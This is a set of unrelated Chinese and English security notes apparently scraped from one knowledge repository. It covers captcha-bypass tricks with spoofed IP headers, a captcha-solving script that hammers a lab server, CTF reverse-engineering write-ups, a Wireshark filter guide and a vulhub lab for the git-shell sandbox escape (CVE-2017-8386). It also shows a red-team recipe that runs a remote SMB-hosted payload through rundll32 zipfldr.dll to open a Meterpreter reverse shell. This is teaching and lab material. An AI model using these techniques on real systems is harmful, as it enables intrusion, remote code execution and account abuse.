{"_RequestVerificationToken":"xxxxxxxxxxxxxx","_Username":"daffa","_Password":"test123"}
```
Convert to normal request
```
POST / HTTP 1.1
Host: target.com
...
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
```
5. Try custom header to bypass captcha
```
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
```
6. Change some specific characters of the captcha parameter and see if it is possible to bypass the restriction.
```
POST / HTTP 1.1
Host: target.com
...
_RequestVerificationToken=xxxxxxxxxxxxxx&_Username=daffa&_Password=test123
```
Try this to bypass
```
POST / HTTP 1.1
Host: target.com
...
_RequestVerificationToken=xxxdxxxaxxcxxx&_Username=daffa&_Password=test123
```
|
sec-knowleage
|
import codecs
import os
from Crypto.Util.number import long_to_bytes
def asm(code):
code = code.replace("end", "")
payload = """(module
(func $dupa (result i32)
%s
)
(export "dupa" (func $dupa)))
""" % code
with codecs.open("code.wat", "w") as out_file:
out_file.write(payload)
os.system("~/ctf/hitcon/wabt/bin/wat2wasm code.wat")
with codecs.open("code.wasm", "rb") as in_file:
data = in_file.read()
res = data[0x22:]
os.system("rm code.wat")
os.system("rm code.wasm")
return res
def dis(code):
size = long_to_bytes(len(code)+1).encode("hex")
size2 = long_to_bytes(len(code)+3).encode("hex")
prefix = ('0061736d010000000105016000017f03020100070801046475706100000a'+size2+'01'+size+'00').decode(
"hex")
with codecs.open("code.wasm", "wb") as out_file:
out_file.write(prefix + code)
os.system("~/ctf/hitcon/wabt/bin/wasm2wat code.wasm > code.wat")
with codecs.open("code.wat", "r") as in_file:
data = in_file.read()[79:-30] + "\nend"
data = data.replace(" ", "")
return data
def eval(code):
code = code.replace("end", "")
payload = """(module
(func $dupa (result i32)
%s
)
(export "dupa" (func $dupa)))
""" % code
with codecs.open("code.wat", "w") as out_file:
out_file.write(payload)
os.system("~/ctf/hitcon/wabt/bin/wat2wasm code.wat")
os.system("~/ctf/hitcon/wabt/bin/wasm-interp code.wasm --run-all-exports > res.txt")
with codecs.open('res.txt', 'r') as result_file:
res = result_file.read()
os.system("rm code.wasm")
result = int(res[14:])
if result >= 2**31:
return result-2**32
else:
return result
def main():
code = """i32.const 62537
i32.const 17488
i32.mul
i32.const 5345
i32.const 12820
i32.const 7342
i32.mul
i32.sub
i32.const 18
i32.const 40931
i32.sub
i32.const 36779
i32.add
i32.and
i32.const 19653
i32.xor
i32.const 18762
i32.const 61387
i32.sub
i32.const 28802
i32.and
i32.const 10760
i32.and
i32.const 64150
i32.const 31717
i32.add
i32.and
i32.xor
i32.or
i32.const 15746
i32.const 34874
i32.add
i32.const 60927
i32.sub
i32.const 12311
i32.xor
i32.or
i32.const 42983
i32.or
return
end
"""
# s = asm(code)
# print(s.encode("hex"))
# print(dis(s))
data = "41f3800141fe87036a41a52a41ce8d0241fe98036c41eac1006c6a7341d9f801734180f30241becc026b724183f900419294036b41cf8d016a41ddce0041d2ac0341a4e3036c6a41aac40241a8d0016c6a41e585037173720f0b".decode(
"hex")
print(dis(data))
print(eval(dis(data)))
# main()
|
sec-knowleage
|
version: '2'
services:
kibana:
image: vulhub/kibana:6.5.4
depends_on:
- elasticsearch
ports:
- "5601:5601"
elasticsearch:
image: vulhub/elasticsearch:6.8.6
|
sec-knowleage
|
.\" @(#)rpc.5 2.2 88/08/03 4.0 RPCSRC; from 1.4 87/11/27 SMI;
.TH RPC 5 "26 September 1985"
.SH NAME
rpc \- rpc 程序号数据库
.SH SYNOPSIS
.B /etc/rpc
.SH DESCRIPTION
.I rpc
文件列出了rpc 程序的可读名, 可以此代替rpc 程序号.
每行包含如下信息:
.HP 10
运行rpc 程序的服务名
.br
.ns
.HP 10
rpc 程序号
.br
.ns
.HP 10
别名
.LP
各条目之间以任意数目的空格和(或)tab 字符分隔. '#' 符号表明
后面是注释, 直到行末的字符都不会被搜索该文件的例程所解释.
.LP
下面是\fI/etc/rpc\fP文件的一个例子, 从Sun RPC 的源代码里取得.
.nf
.ta 1.5i +0.5i +1.0i +1.0i
#
# rpc 88/08/01 4.0 RPCSRC; from 1.12 88/02/07 SMI
#
portmapper 100000 portmap sunrpc
rstatd 100001 rstat rstat_svc rup perfmeter
rusersd 100002 rusers
nfs 100003 nfsprog
ypserv 100004 ypprog
mountd 100005 mount showmount
ypbind 100007
walld 100008 rwall shutdown
yppasswdd 100009 yppasswd
etherstatd 100010 etherstat
rquotad 100011 rquotaprog quota rquota
sprayd 100012 spray
3270_mapper 100013
rje_mapper 100014
selection_svc 100015 selnsvc
database_svc 100016
rexd 100017 rex
alis 100018
sched 100019
llockmgr 100020
nlockmgr 100021
x25.inr 100022
statmon 100023
status 100024
bootparam 100026
ypupdated 100028 ypupdate
keyserv 100029 keyserver
tfsd 100037
nsed 100038
nsemntd 100039
.fi
.DT
.SH FILES
/etc/rpc
.SH "SEE ALSO"
getrpcent(3N)
|
sec-knowleage
|
import os
import urllib
import urllib2
from PIL import Image
import io
def fix_colors(im):
colors_distribution = im.getcolors(1000)
ordered = sorted(colors_distribution, key=lambda x: x[0], reverse=True)
best_colors = [color[1] for color in ordered]
if (255, 255, 255) in best_colors:
best_colors.remove((255, 255, 255))
if (0, 0, 0) in best_colors:
best_colors.remove((0, 0, 0))
best_colors = best_colors[:2]
pixels = im.load()
for i in range(im.size[0]):
for j in range(im.size[1]):
color = pixels[i, j]
if color not in best_colors:
pixels[i, j] = best_colors[0]
return best_colors[0]
def black_and_white(im, filling):
black = (0, 0, 0)
white = (255, 255, 255)
pixels = im.load()
for i in range(im.size[0]):
for j in range(im.size[1]):
color = pixels[i, j]
if color == filling:
pixels[i, j] = white
else:
pixels[i, j] = black
# im.show()
def get_coords(im):
pixels = im.load()
black = (0, 0, 0)
xs = []
ys = []
for i in range(im.size[0]):
for j in range(im.size[1]):
color = pixels[i, j]
if color == black:
xs.append(i)
ys.append(j)
return min(xs), max(xs), min(ys), max(ys)
def test_configuration(im_pixels, start_x, start_y, symbol_len, symbol_h, symbol_pixels, symbol_x_min, symbol_y_min):
counter = 0
black = (0, 0, 0)
for i in range(symbol_len):
for j in range(symbol_h):
if im_pixels[start_x + i, start_y + j] == black:
if im_pixels[start_x + i, start_y + j] == symbol_pixels[symbol_x_min + i, symbol_y_min + j]:
counter += 1
else:
counter -= 1
elif symbol_pixels[symbol_x_min + i, symbol_y_min + j] == black:
counter -= 1
return counter
def get_matching(im_pixels, im, x_min, x_max, y_min, y_max, symbol, symbol_pixels, symbol_x_min, symbol_len,
symbol_y_min,
symbol_h):
results = []
for start_x in range(x_min - 1, x_max - symbol_len + 1):
for start_y in range(y_min - 1, y_max - symbol_h + 1):
if (start_x + symbol_len < im.size[0]) and (start_y + symbol_h < im.size[1]):
result = test_configuration(im_pixels, start_x, start_y, symbol_len, symbol_h, symbol_pixels,
symbol_x_min,
symbol_y_min)
results.append((result, start_x, start_y))
if len(results) == 0:
return 0, 0, 0
return max(results)
def is_to_remove(symbol_pixels, x, y):
black = (0, 0, 0)
result = False
for i in range(-1, 1):
for j in range(-1, 1):
result = result or symbol_pixels[x + i, y + j] == black
return result
def remove_used(picture_pixels, symbol, offset_x, offset_y, symbol_len, symbol_h):
white = (255, 255, 255)
symbol_x_min, _, symbol_y_min, _ = get_coords(symbol)
symbol_pixels = symbol.load()
for i in range(offset_x, offset_x + symbol_len + 1):
for j in range(offset_y, offset_y + symbol_h + 1):
if is_to_remove(symbol_pixels, symbol_x_min + i - offset_x, symbol_y_min + j - offset_y):
picture_pixels[i, j] = white
def find_letters(im, x_min, x_max, y_min, y_max, alphabet):
picture_pixels = im.load()
results = []
for i in range(6): # always 6 symbols
scores = []
for symbol, (symbol_image, (symbol_x_min, symbol_x_max, symbol_y_min, symbol_y_max)) in alphabet.items():
symbol_pixels = symbol_image.load()
symbol_len, symbol_h = symbol_x_max - symbol_x_min, symbol_y_max - symbol_y_min
best_score_for_symbol, offset_x, offset_y = get_matching(picture_pixels, im, x_min, x_max, y_min, y_max,
symbol,
symbol_pixels,
symbol_x_min, symbol_len, symbol_y_min,
symbol_h)
scores.append((best_score_for_symbol, symbol, offset_x, offset_y, symbol_len, symbol_h, symbol_image))
best, symbol, offset_x, offset_y, symbol_len, symbol_h, symbol_image = max(scores)
results.append((symbol, offset_x, best))
print(symbol, best)
remove_used(picture_pixels, symbol_image, offset_x, offset_y, symbol_len, symbol_h)
# im.show()
return results
def open_image(path):
im = Image.open(path)
im = im.convert('RGB')
return im
def get_solution(im):
filling = fix_colors(im)
black_and_white(im, filling)
x_min, x_max, y_min, y_max = get_coords(im)
results = find_letters(im, x_min, x_max, y_min, y_max, alphabet)
results = sorted(results, key=lambda x: x[1])
for symbol, position, score in results:
if score < 20:
return None
return "".join([x[0] for x in results])
alphabet = {file: open_image("../alphabet/" + file) for file in os.listdir("../alphabet")}
alphabet = {key[:-4]: (image, get_coords(image)) for key, image in alphabet.items()}
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'PHPSESSID=f0nvdes57f0s24afi8tdrscua4'))
urllib2.install_opener(opener)
while True:
try:
f = opener.open("http://10.13.37.10/captcha.php")
image_file = io.BytesIO(f.read())
imtmp = open_image(image_file)
im = open_image(image_file)
if im.size[0] > 0 and im.size[1] > 0:
# im.show()
res = get_solution(im)
if res is not None:
print res
params = {'captcha': res}
encoded_params = urllib.urlencode(params)
f = opener.open("http://10.13.37.10/", encoded_params)
webpage = f.read()
print(webpage)
if "didn't" in webpage:
imtmp.show()
else:
print "skipping due to a low score"
except:
pass
|
sec-knowleage
|
# 静态分析原生层程序
## 基本方法
静态分析原生层程序基本的过程如下
1. 提取 so 文件
2. ida 反编译 so 文件阅读 so 代码
3. 根据 java 层的代码来分析 so 代码。
4. 根据 so 代码的逻辑辅助整个程序的分析。
## 原生层静态分析例子
### 2015-海峡两岸-一个APK,逆向试试吧
#### 反编译
利用jadx反编译apk,确定应用的主活动
```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:versionCode="1" android:versionName="1.0" package="com.example.mobicrackndk">
<uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" />
<application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@drawable/ic_launcher" android:allowBackup="true">
<activity android:label="@string/app_name" android:name="com.example.mobicrackndk.CrackMe">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
```
不难看出,程序的主活动为 com.example.mobicrackndk.CrackMe。
#### 分析主活动
不难看出,程序的基本情况就是利用 native 函数 testFlag 判断用户传入的 pwdEditText 是否满足要求。
```java
public native boolean testFlag(String str);
static {
System.loadLibrary("mobicrackNDK");
}
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView((int) R.layout.activity_crack_me);
this.inputButton = (Button) findViewById(R.id.input_button);
this.pwdEditText = (EditText) findViewById(R.id.pwd);
this.inputButton.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
CrackMe.this.input = CrackMe.this.pwdEditText.getText().toString();
if (CrackMe.this.input == null) {
return;
}
if (CrackMe.this.testFlag(CrackMe.this.input)) {
Toast.makeText(CrackMe.this, CrackMe.this.input, 1).show();
} else {
Toast.makeText(CrackMe.this, "Wrong flag", 1).show();
}
}
});
}
```
#### 分析so文件
自然我们首先会去直接找 testFlag 函数,凡是并没有直接找到。我们只好首先分析 JNI_Onload 函数,如下
```c
signed int __fastcall JNI_OnLoad(JNIEnv *a1)
{
JNIEnv *v1; // r4
int v2; // r5
char *v3; // r7
int v4; // r1
const char *v5; // r1
int v7; // [sp+Ch] [bp-1Ch]
v1 = a1;
v7 = 0;
printf("JNI_OnLoad");
if ( ((*v1)->FindClass)(v1, &v7, 65540) )
goto LABEL_7;
v2 = v7;
v3 = classPathName[0];
fprintf((&_sF + 168), "RegisterNatives start for '%s'", classPathName[0]);
v4 = (*(*v2 + 24))(v2, v3);
if ( !v4 )
{
v5 = "Native registration unable to find class '%s'";
LABEL_6:
fprintf((&_sF + 168), v5, v3);
LABEL_7:
fputs("GetEnv failed", (&_sF + 168));
return -1;
}
if ( (*(*v2 + 860))(v2, v4, off_400C, 2) < 0 )
{
v5 = "RegisterNatives failed for '%s'";
goto LABEL_6;
}
return 65540;
}
```
可以发现,程序在这里动态注册了类和相应的函数 off_400C。仔细看一下该函数
```text
.data:0000400C off_400C DCD aTestflag ; DATA XREF: JNI_OnLoad+68↑o
.data:0000400C ; .text:off_1258↑o
.data:0000400C ; "testFlag"
.data:00004010 DCD aLjavaLangStrin_0 ; "(Ljava/lang/String;)Z"
.data:00004014 DCD abcdefghijklmn+1
.data:00004018 DCD aHello ; "hello"
.data:0000401C DCD aLjavaLangStrin_1 ; "()Ljava/lang/String;"
.data:00004020 DCD native_hello+1
.data:00004020 ; .data ends
```
可以发现,确实就是 testflag 函数,其对应的函数名为 abcdefghijklmn。
#### 分析abcdefghijklmn
可以发现,程序主要在三个部分对输入的 v10 进行了判断
- 判断1
```c
if ( strlen(v10) == 16 )
```
说明输入的字符串长度为16。
- 判断2
```c
v3 = 0;
do
{
s2[v3] = v10[v3] - v3;
++v3;
}
while ( v3 != 8 );
v2 = 0;
v12 = 0;
if ( !strcmp(seed[0], s2) )
```
- 判断3
```c
v9 = ((*jniEnv)->FindClass)();
if ( !v9 )
{
v4 = "class,failed";
LABEL_11:
_android_log_print(4, "log", v4);
exit(1);
}
v5 = ((*jniEnv)->GetStaticMethodID)();
if ( !v5 )
{
v4 = "method,failed";
goto LABEL_11;
}
_JNIEnv::CallStaticVoidMethod(jniEnv, v9, v5);
v6 = ((*v1)->GetStaticFieldID)(v1, v9, "key", "Ljava/lang/String;");
if ( !v6 )
_android_log_print(4, "log", "fid,failed");
((*v1)->GetStaticObjectField)(v1, v9, v6);
v7 = ((*jniEnv)->GetStringUTFChars)();
while ( v3 < strlen(v7) + 8 )
{
v13[v3 - 8] = v10[v3] - v3;
++v3;
}
v14 = 0;
v2 = strcmp(v7, v13) <= 0;
```
根据汇编代码,可知第三个判断中调用了calcKey类中的静态方法
```asm
.text:00001070 LDR R0, [R5]
.text:00001072 LDR R2, =(aCalckey - 0x1080)
.text:00001074 LDR R3, =(aV - 0x1084)
.text:00001076 LDR R4, [R0]
.text:00001078 MOVS R1, #0x1C4
.text:0000107C ADD R2, PC ; "calcKey"
.text:0000107E LDR R4, [R4,R1]
.text:00001080 ADD R3, PC ; "()V"
```
并在之后获得了key的内容。
```Java
public static String key;
public static void calcKey() {
key = new StringBuffer("c7^WVHZ,").reverse().toString();
}
}
```
#### 获取flag
根据这三个判断,我们可以得到输入的字符串内容
```python
s = "QflMn`fH,ZHVW^7c"
flag = ""
for idx,c in enumerate(s):
flag +=chr(ord(c)+idx)
print flag
```
结果如下
```shell
QgnPrelO4cRackEr
```
输入之后并不对。
#### 再次分析
想到这里就要考虑下,程序是不是在哪里修改了对应的字符串。这里首先看一下seed。对 x 进行交叉引用,发现其在 _init_my 中使用了,如下
```c
size_t _init_my()
{
size_t i; // r7
char *v1; // r4
size_t result; // r0
for ( i = 0; ; ++i )
{
v1 = seed[0];
result = strlen(seed[0]);
if ( i >= result )
break;
t[i] = v1[i] - 3;
}
seed[0] = t;
byte_4038 = 0;
return result;
}
```
所以最初程序对 seed 进行了修改。
#### 再次获取flag
修改脚本如下
```python
s = "QflMn`fH,ZHVW^7c"
flag = ""
for idx,c in enumerate(s):
tmp = ord(c)
if idx<8:
tmp-=3
flag +=chr(tmp+idx)
print flag
```
flag 如下
```
➜ 2015-海峡两岸一个APK,逆向试试吧 python exp.py
NdkMobiL4cRackEr
```
当然该题目也可以使用动态调试。
|
sec-knowleage
|
# Wireshark
<p align="center">
<img src="../../../assets/img/logo/wireshark.png" width="22%">
</p>
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**官网**
- https://www.wireshark.org/
**流量包资源**
- [Web 2.0 for packets | pcapr](https://www.pcapr.net/home) - 提供大量样本的社区
- [automayt/ICS-pcap](https://github.com/automayt/ICS-pcap) - 各类工控的 pcap 包
- [ICS-Security-Tools/pcaps](https://github.com/ITI/ICS-Security-Tools/tree/master/pcaps) - 各类工控的 pcap 包
**在线分析**
- [NetworkTotal - Free Online Network Traffic Scanner](https://www.networktotal.com/index.html)
- [VirusTotal](https://www.virustotal.com/gui/home/upload)
**文章 & Reference**
- [wireshark基本用法及过虑规则](https://blog.csdn.net/hzhsan/article/details/43453251)
- [SampleCaptures - The Wireshark Wiki](https://wiki.wireshark.org/SampleCaptures)
- [CaptureSetup/USB - The Wireshark Wiki](https://wiki.wireshark.org/CaptureSetup/USB)
- [图解Wireshark协议分析实例](https://blog.csdn.net/bcbobo21cn/article/details/51454170)
- [Wireshark Cheat Sheet - Commands, Captures, Filters & Shortcuts](https://www.comparitech.com/net-admin/wireshark-cheat-sheet/)
**插件/增强工具**
- [pentesteracademy/patoolkit](https://github.com/pentesteracademy/patoolkit) - Wireshark 插件,增强分析能力
- [leolovenet/qqwry2mmdb](https://github.com/leolovenet/qqwry2mmdb) - 为 Wireshark 能使用纯真网络 IP 数据库(QQwry)而提供的格式转换工具,不支持 windows
- https://docs.google.com/file/d/0B3tHnfnS08GyWjJUOXE3UGFJRnc/edit - TeamViewer 检测插件
---
## 简介
**什么是流量包**
流量包指利用 tcpdump 等工具,对计算机上的某个网络设备进行流量抓取所所获得的 PCAP 格式的流量文件。
**什么是 wireshark**
Wireshark 是非常流行的网络流量分析软件,可以截取各种网络数据包,并显示数据包详细信息。常用于开发测试过程各种问题定位。Wireshark 使用 WinPCAP 作为接口,直接与网卡进行数据报文交换。
**什么是 Tshark**
网络分析工具下的一个分支,主要用于命令行环境进行抓包、分析,尤其对协议深层解析时,难以胜任的场景中。简单来说就是命令行下的 wireshark
---
## 安装
**Ubuntu**
```bash
add-apt-repository ppa:wireshark-dev/stable
apt update
apt install -y wireshark
```
---
## 过滤语法
**比较操作符**
```bash
lt < # 小于
le <= # 小于等于
eq == # 等于
gt > # 大于
ge >= # 大于等于
ne != # 不等
```
**逻辑操作符**
```bash
and && # 两个条件同时满足
or || # 其中一个条件被满足
xor ^^ # 有且仅有一个条件被满足
not ! # 没有条件被满足
[n] [...] # 过滤特定的单词或文字
```
**快速使用**
```bash
http.request.method == "POST" # POST 请求
tcp contains "http" # 显示 payload 中包括"http"字符串的 tcp 封包.
http contains "flag"
http.request.uri contains "online" # 显示请求的 uri 包括"online"的 http 封包.
ip.addr == 1.1.1.1 # IP 为 1.1.1.1 的流量
Ctrl+Alt+Shift+T,切换跟踪 tcp 流
```
**过滤 IP**
如来源 IP 或者目标 IP 等于某个 IP
```bash
ip.src eq 192.168.1.254 or ip.dst eq 192.168.1.254
或
ip.addr eq 192.168.1.254 # 都能显示来源 IP 和目标 IP
```
**过滤端口**
```bash
tcp.port eq 80 # 不管端口是来源的还是目标的都显示
tcp.port == 80
tcp.port eq 2722
tcp.port eq 80 or udp.port eq 80
tcp.dstport == 80 # 只显 tcp 协议的目标端口 80
tcp.srcport == 80 # 只显 tcp 协议的来源端口 80
udp.srcport == 80 # 筛选udp协议的源端口为80的流量包
udp.port eq 15000
```
```bash
tcp.port >= 1 and tcp.port <= 80 # 过滤端口范围
```
**过滤协议**
```bash
tcp
udp
arp
icmp
http
smtp
ftp
dns
msnms
ip
ssl
oicq
bootp
```
排除 arp 包,如 `!arp` 或者 `not arp`
**过滤 MAC**
以太网头过滤
```bash
eth.dst == A0:00:00:04:C5:84 # 过滤目标 mac
eth.src eq A0:00:00:04:C5:84 # 过滤来源 mac
eth.dst==A0:00:00:04:C5:84
eth.dst==A0-00-00-04-C5-84
eth.addr eq A0:00:00:04:C5:84 # 过滤来源 MAC 和目标 MAC 都等于 A0:00:00:04:C5:84 的
```
**包长度过滤**
```bash
udp.length == 26 # 这个长度是指 udp 本身固定长度8加上 udp 下面那块数据包之和
tcp.len >= 7 # 指的是 ip 数据包(tcp 下面那块数据),不包括 tcp 本身
ip.len == 94 # 除了以太网头固定长度 14,其它都算是 ip.len,即从 ip 本身到最后
frame.len == 119 # 整个数据包长度,从 eth 开始到最后
```
**http 模式过滤**
```bash
http.request.method == “GET”
http.request.method == “POST”
http.request.uri == “/img/logo-edu.gif”
http contains “GET”
http contains “HTTP/1.”
# GET包
http.request.method == “GET” && http contains “Host: “
http.request.method == “GET” && http contains “User-Agent: “
# POST包
http.request.method == “POST” && http contains “Host: “
http.request.method == “POST” && http contains “User-Agent: “
# 响应包
http contains “HTTP/1.1 200 OK” && http contains “Content-Type: “
http contains “HTTP/1.0 200 OK” && http contains “Content-Type: “
```
**TCP 参数过滤**
```bash
tcp.flags # 显示包含 TCP 标志的封包。
tcp.flags.syn == 0x02 # 显示包含 TCP SYN 标志的封包。
tcp.flags.reset == 1 # 过滤 TCP RST 包。先找到 RST 包,然后右键 Follow -> TCP Stream 是常用的排障方式
tcp.window_size == 0 && tcp.flags.reset != 1
tcp.analysis.retransmission # 过滤所有的重传包
```
**包内容过滤**
```bash
tcp[20] # 表示从 20 开始,取 1 个字符
tcp[20:] # 表示从 20 开始,取 1 个字符以上
tcp[20:8] # 表示从 20 开始,取 8 个字符
```
```bash
udp[8:1]==32
udp[8:3]==81:60:03 # 偏移 8 个 bytes,再取 3 个数,是否与 == 后面的数据相等
eth.addr[0:3]==00:06:5B
```
matches(匹配)和 contains(包含某字符串)语法
```bash
ip.src==192.168.1.107 and udp[8:5] matches “\\x02\\x12\\x21\\x00\\x22″
ip.src==192.168.1.107 and udp contains 02:12:21:00:22
ip.src==192.168.1.107 and tcp contains “GET”
udp contains 7c:7c:7d:7d # 匹配 payload 中含有 0x7c7c7d7d 的 UDP 数据包,不一定是从第一字节匹配。
```
---
## 捕获USB流量
**相关工具**
- [USBPcap - USB Packet capture for Windows](https://desowin.org/usbpcap/)
- [JohnDMcMaster/usbrply](https://github.com/JohnDMcMaster/usbrply) - 将 .pcap 文件(捕获的 USB 数据包)转换为 Python 或 C 代码,以重播捕获的 USB 命令。
**相关文章**
- [使用wireshark抓取USB包](https://blog.csdn.net/shiailan/article/details/97305163)
- [Wireshark如何捕获USB流量](https://www.freebuf.com/column/166711.html)
---
## 案例
- 更多案例参考 [流量分析](../BlueTeam/实验/流量分析.md)
|
sec-knowleage
|
# vault-door-3
Reverse Engineering, 200 points
## Description:
> This vault uses for-loops and byte arrays.
```java
import java.util.*;
class VaultDoor3 {
public static void main(String args[]) {
VaultDoor3 vaultDoor = new VaultDoor3();
Scanner scanner = new Scanner(System.in);
System.out.print("Enter vault password: ");
String userInput = scanner.next();
String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
if (vaultDoor.checkPassword(input)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
// Our security monitoring team has noticed some intrusions on some of the
// less secure doors. Dr. Evil has asked me specifically to build a stronger
// vault door to protect his Doomsday plans. I just *know* this door will
// keep all of those nosy agents out of our business. Mwa ha!
//
// -Minion #2671
public boolean checkPassword(String password) {
if (password.length() != 32) {
return false;
}
char[] buffer = new char[32];
int i;
for (i=0; i<8; i++) {
buffer[i] = password.charAt(i);
}
for (; i<16; i++) {
buffer[i] = password.charAt(23-i);
}
for (; i<32; i+=2) {
buffer[i] = password.charAt(46-i);
}
for (i=31; i>=17; i-=2) {
buffer[i] = password.charAt(i);
}
String s = new String(buffer);
return s.equals("jU5t_a_sna_3lpm1dg347_u_4_mfr54b");
}
}
```
## Solution:
Let's reverse the logic with Javascript since the syntax is similar:
```javascript
root@kali:/media/sf_CTFs/pico/vault-door-3# node
> password = "jU5t_a_sna_3lpm1dg347_u_4_mfr54b"
'jU5t_a_sna_3lpm1dg347_u_4_mfr54b'
>
> var i;
undefined
> var buffer = Array(32);
undefined
>
> for (i=0; i<8; i++) {
... buffer[i] = password.charAt(i);
... }
's'
> for (; i<16; i++) {
... buffer[i] = password.charAt(23-i);
... }
'n'
> for (; i<32; i+=2) {
... buffer[i] = password.charAt(46-i);
... }
'd'
> for (i=31; i>=17; i-=2) {
... buffer[i] = password.charAt(i);
... }
'g'
> console.log("picoCTF{" + buffer.join("") + "}");
picoCTF{jU5t_a_s1mpl3_an4gr4m_4_u_7f35db}
```
|
sec-knowleage
|
**注:**请多喝点热水或者凉白开,可预防**肾结石,通风**等。
痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。
### zipfldr.dll简介:
zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件。
**说明:**zipfldr.dll所在路径已被系统添加PATH环境变量中,因此,zipfldr.dll命令可识别,但由于为dll文件,需调用rundll32.exe来执行。
Windows 2003 默认位置:
```bash
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
```
Windows 7 默认位置:
```bash
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
```
**攻击机:**
192.168.1.4 Debian
**靶机:**
192.168.1.3 Windows 7
192.168.1.3 Windows 2003
### 配置攻击机msf:
```bash
msf exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)
LPORT 53 yes The listen port
Exploit target:
Id Name
‐‐ ‐‐‐‐
0 Wildcard Target
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
```

### 靶机执行:
```bash
rundll32.exe zipfldr.dll,RouteTheCall \\192.168.1.119\share\rev_x86_53_exe.exe
```

```bash
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.4:53
[*] Sending stage (179779 bytes) to 192.168.1.3
[*] Meterpreter session 7 opened (192.168.1.4:53 ‐> 192.168.1.3:5245) at
2019‐01‐21 04:55:44 ‐0500
meterpreter > getuid
Server username: John‐PC\John
meterpreter > getpid
Current pid: 6988
```

> Micropoor
|
sec-knowleage
|
# GIT-SHELL 沙盒绕过(CVE-2017-8386)
GIT-SHELL 沙盒绕过(CVE-2017-8386)导致任意文件读取、可能的任意命令执行漏洞。
参考链接:
- https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
- https://www.leavesongs.com/PENETRATION/git-shell-cve-2017-8386.html
## 测试环境
编译及运行测试环境:
```
docker compose up -d
```
为了不和docker母机的ssh端口冲突,我将容器的ssh端口设置成3322。本目录下我生成了一个`id_rsa`,这是ssh的私钥,连接的时候请指定之。
在连接以前,需要先设置私钥的权限为0600:`chmod 0600 id_rsa`,否则连接可能失败。
正常连接其ssh服务`ssh -p 3322 -i id_rsa git@127.0.0.1`,会被git-shell给拦截,返回错误`fatal: unrecognized command ''`,并且连接被关闭。
使用--help技巧,连接目标并进入帮助页面:
```
ssh -p 3322 -i id_rsa -t git@127.0.0.1 "git-upload-archive '--help'"
```
按`shift`+e,读取任意文件:

回到帮助页面,输入`!id`执行命令:

(为什么是www-data用户?因为git用户和www-data用户编号都是33,所以其实他们是一个用户)
## 原理
### 基于ssh协议的git拉取流程
git-shell是git服务中重要的组成部分,众所周知,git服务支持ssh、git、https三种协议来传递项目,其中ssh是最安全,也最方便的一种方式。
我们随便打开Github上一个项目,找到`Clone with SSH`里列出的地址:git@github.com:phith0n/vulhub.git,其实这个url就是告诉git,ssh用户名是git,地址是github.com(默认端口是22),该项目位于`phith0n/vulhub.git`这个目录下;然后git就通过ssh协议连接上github.com,并将对应目录下的项目拉取下来。
所以,基于ssh协议的git clone等操作,本质上就是通过ssh协议连接上git服务器,并将指定目录拉取下来的过程。
那么,既然这个过程是个ssh交互的过程,那么我直接执行`ssh git@github.com`是不是就可以登录github服务器了呢?显然是不行的,你可以试试:

说“不行”其实也有偏差,实际上我确实是连接上了其ssh服务,并验证身份通过了,但他给了我一段提示信息“Hi phith0n! You've successfully authenticated, but GitHub does not provide shell access.”,就把我的连接关了。
所以,正常来说,基于ssh的git拉取过程对于git服务器是安全的。
关于如何搭建一个git服务器,可以参考[这篇文章](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000/00137583770360579bc4b458f044ce7afed3df579123eca000)
### 如何禁止git用户执行系统shell
那么,github这类git服务商是怎么实现上述“安全”通信的流程的呢?
让用户可以通过ssh认证身份,但又不给用户shell,这个过程有两种方法实现:
1. 创建系统用户git的时候将其shell设置成git-shell
2. 在authorized_keys文件每个ssh-key的前面设置command,覆盖或劫持重写原本的命令
第一种方法比较直观,就是创建用户的时候不给其正常的bash或sh的shell,而是给它一个git-shell。git-shell是一个沙盒环境,在git-shell下,只允许执行沙盒内包含的命令。
第二种方法不仅在git服务器上使用,很多Linux发行版也会用到。比如aws,默认安装后是不允许root登录的,实现方法就是在/root/.ssh/authorized_keys中设置`command="echo 'Please login as the user \"ec2-user\" rather than the user \"root\".';echo;sleep 10"`。这句话相当于覆盖了原本执行的shell,变成了echo一段文字。
当然,第二种方法内也可以用git-shell,比如在添加git用户的时候赋予其正常的`/bin/bash`,但在authorized_keys中设置`command="git-shell -c \"$SSH_ORIGINAL_COMMAND\""`,实际上还是使用了git-shell。
### git-shell 沙盒绕过漏洞(CVE-2017-8386)
